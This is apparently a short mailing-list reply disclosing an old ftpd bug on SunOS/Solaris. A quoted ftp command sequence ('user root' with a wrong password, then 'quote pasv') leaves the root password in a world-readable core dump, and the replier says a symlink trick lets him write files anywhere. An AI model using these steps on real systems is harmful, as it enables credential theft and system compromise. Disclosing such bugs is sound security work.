Re: ftpd bug? Was: bin/1805: Bug in ftpd

[brandon () eniac vv com (Micah Brandon)]

> SunOS 5.5:
>
> logon via ftp with your regular user/password,
> ftp> cd /tmp
> ftp> user root wrongpasswd
> ftp> quote pasv
>
> voila, root password in world readable core dump under /tmp
        I was able to create this core file under Solaris 2.4 as well...and
if I took the time to create a symbolic link before doing the above
procedure, I was able to create files anywhere on the system :(

micah